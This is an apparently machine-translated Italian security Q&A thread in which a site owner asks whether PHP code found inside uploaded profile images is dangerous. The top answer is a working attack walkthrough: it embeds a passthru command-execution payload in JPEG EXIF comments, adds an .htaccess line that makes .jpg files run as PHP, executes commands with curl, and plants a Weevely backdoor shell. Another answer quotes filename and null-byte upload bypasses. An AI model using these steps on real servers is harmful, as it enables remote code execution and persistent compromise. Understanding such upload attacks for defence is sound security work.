Codice dannoso nell'immagine. Dannoso?

2

Nel mio sito web, un utente può caricare la sua immagine del profilo. Dopo l'analisi di alcune immagini, ho trovato alcune immagini con codice PHP dannoso, proprio come lo script di caricamento. Ad esempio, ho trovato un codice a riga singola di PHP :

<?php echo $_GET['a']; ?>

Quindi, usando questo codice, se può caricare questa immagine come un file .php , come picture.php , allora può eseguire questo script facendo qualcosa come url/pictur.php?a=[anything] . Ma l'immagine non può essere caricata come estensione .php dal momento che tutte le estensioni immagine vengono automaticamente cambiate in .jpg . Inoltre, non includo mai l'immagine di php function include . Piuttosto, aggiungo sempre un'immagine con tag img html.

So che la migliore pratica per fermare i malintenzionati è ridimensionare l'immagine. È possibile che una persona malintenzionata danneggi con questo tipo di immagine?

    
posta Imran Abdur Rahim 24.03.2014 - 06:22
fonte

4 risposte

2

Per manipolare i campi dei metadati JPEG EXIF, userò lo strumento jhead della riga di comando. Esistono molti altri strumenti là fuori con funzionalità simili da scegliere per le tue esigenze.

Ora che il nostro strumento di manipolazione dei metadati consente di raccogliere un'immagine jpeg casuale e leggere i metadati.

root@testbed:~# jhead image.jpg
File name    : image.jpg
File size    : 208103 bytes
File date    : 2011:09:07 21:20:10
Date/Time    : 2007:04:24 14:11:55
Resolution   : 1197 x 478
======= IPTC data: =======
Record vers.  : 2

Il file è praticamente pulito, quindi rendilo un po 'più sporco nascondendo del codice PHP nel campo dei commenti dei metadati. Per modificare il campo del commento, userò il flag -ce dello strumento jhead .

root@testbed:~# jhead -ce image.jpg
Modified: image.jpg
root@testbed:~# jhead image.jpg
File name    : image.jpg
File size    : 182007 bytes
File date    : 2011:09:07 21:20:10
Resolution   : 1197 x 478
Comment      : <?php passthru($_POST['cmd']); __halt_compiler();

Usando la funzione passthru possiamo eseguire un comando esterno sulla macchina di destinazione. Il comando viene passato alla destinazione usando il metodo POST sotto il nome "cmd". Qui qualcuno potrebbe pensare che possiamo usare anche il metodo GET per passare il comando alla macchina di destinazione. È vero, possiamo anche usarlo, anche se i comandi che inviamo alla destinazione sono facilmente visibili nel log di accesso di httpd perché fanno parte dell'URL.

Il comando halt_compiler impedirà al compilatore di analizzare i dati binari delle immagini. Le informazioni sui metadati sono archiviate prima dei dati delle immagini, quindi dobbiamo interrompere il compilatore dopo il nostro codice, perché se si verifica un <? nei seguenti dati binari, l'esecuzione si interromperà. Ecco perché non è necessario chiudere la sezione PHP.

Ora che abbiamo nascosto il codice PHP nel file immagine, dobbiamo forzare il server web di destinazione a gestire il file .jpg come file PHP. Per raggiungere questo obiettivo utilizzeremo la direttiva AddType in un file .htaccess . La direttiva AddType esegue il mapping di un'estensione di nome file su un tipo di contenuto specificato. Per utilizzare la direttiva AddType , Apache di destinazione deve avere mod_mime abilitato e consentire almeno FileInfo di override nella directory in cui inseriremo il file.

Caricheremo il file jpg dannoso nel percorso dei file multimediali, quindi dobbiamo inserire un .htaccess nella directory pertinente con i file .jpg di mapping della direttiva AddType su .php.

root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess

OK, tutto è impostato in modo da consentire di avviare il nostro primo tentativo di eseguire un comando nel computer di destinazione. Per inviare il comando usando il metodo POST, userò lo strumento curl .

root@testbed:~# curl -d cmd=id http://192.168.2.11/media/image.jpg
.........JFIF..........................................................uid=33(www-data) gid=33(www-data) groups=33(www-data)

Bingo! il comando è stato eseguito correttamente nel computer di destinazione. La spazzatura all'accattonaggio dell'output è causata dai dati dell'intestazione dell'immagine.

Qualcosa che deve essere menzionato qui, è che alcune configurazioni PHP potrebbero avere passthru incluso nelle loro funzioni disabilitate. In questo caso puoi scegliere una funzione simile come system , exec , shell_exec , ecc.

Ora che abbiamo confermato che la nostra tecnica funziona, nascondiamo un'intera shell backdoor PHP nel campo dei commenti della stessa immagine. A tale scopo, sceglierò la shell PHP, ma puoi scegliere una shell alternativa che hai nel tuo pentest arsenal.

Inizialmente creiamo la shell con lo script elaborato e quindi copiamo il codice PHP generato nel campo dei commenti dei metadati.

root@testbed:weevely# ./weevely.py -g -o back.php -p admin
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Backdoor file 'back.php' created with password 'admin'.

Infine, al fine di stabilire un terminale con il server di destinazione, chiamiamo con forza il flag del terminale che fornisce l'URL dell'immagine e la password che abbiamo usato nel passaggio di creazione.

root@testbed:weevely# ./weevely.py -t -p admin -u http://192.168.2.11/media/image.jpg
Weevely 0.3 – Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Using method ‘system()’.
+ Retrieving terminal basic environment variables .

[www-data@webtestbed /var/www/media] ls
image.jpg
[www-data@webtestbed /var/www/media] id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[www-data@webtestbed /var/www/media]

Pwned! Abbiamo l'utente Apache (www-data) a privilegiare l'accesso al computer di destinazione.

    
risposta data 24.03.2014 - 09:01
fonte
2

Anche se potresti non eseguire mai il codice localmente sul tuo server, potrebbe essere possibile caricare codice JavaScript dannoso. Quindi l'attaccante può puntare al tuo sito quando ha bisogno di fare riferimento al codice in altri attacchi (ad esempio, XSS). Potrebbero inoltre esserci situazioni rare in cui PHP o altri codici server potrebbero essere utilizzati da questa immagine.

Potrebbero esserci configurazioni errate nel server o l'autore dell'attacco potrebbe caricare l'immagine di attacco ovunque sperando di ottenere una percentuale di include() di eval() .

ad es. vedi questo esempio (dal 2008, ma alcuni attacchi potrebbero ancora funzionare su server Web outdatted - Raccomando di leggere il resto del thread per concetti interessanti):

If the server changes the extension to .JPG/.GIF (or only allows those extensions), then you need to be more creative. On Apache, you can name a file something.php.jpg, and Apache will still treat it as PHP.

Another option you can try is by sending an upload request (with a tool or a HTTP request editor) that embeds a NULL byte before the .JPG extension. ASP scripts tend to be vulnerable to this -- the script will see the entire file name, but the underlying file operation will truncate the name of the file after the NULL byte. So something.asp%00.jpg would become something.asp.

Un altro procedura dettagliata di un codice PHP incorporato in un'immagine .

    
risposta data 25.03.2014 - 01:21
fonte
-1

Non sono a conoscenza di alcun rischio per un server da immagini con codice incorporato malevolo, ma Internet Explorer ha una ben nota "funzionalità" in cui ignorerà l'estensione di un file e il tipo MIME e analizzerà invece il file da fuori di che tipo è. Le immagini con HTML incorporato saranno trattate come pagine Web e possono essere utilizzate per eseguire un attacco su IE.

    
risposta data 24.03.2014 - 10:41
fonte
-4

di diritto è: in dubio pro reo, in esso sec è: in dobio pro h4x0r, / me thinx. Ricordo alcuni attacchi con questo metodo, ma non ricordo le app utilizzate.
sei sicuro al 100% che l'autore dell'attacco non abbia modo di eseguire questo codice?

se l'obiettivo non sei tu, ma i tuoi visiti, allora un utente malintenzionato potrebbe nascondere cose malevole che non ti danneggiano, ma i tuoi visitatori; Mi ricordo qualcosa su "possedere windows con un jpeg - nel 2014" - blogposts ultimamente

    
risposta data 24.03.2014 - 08:06
fonte

Leggi altre domande sui tag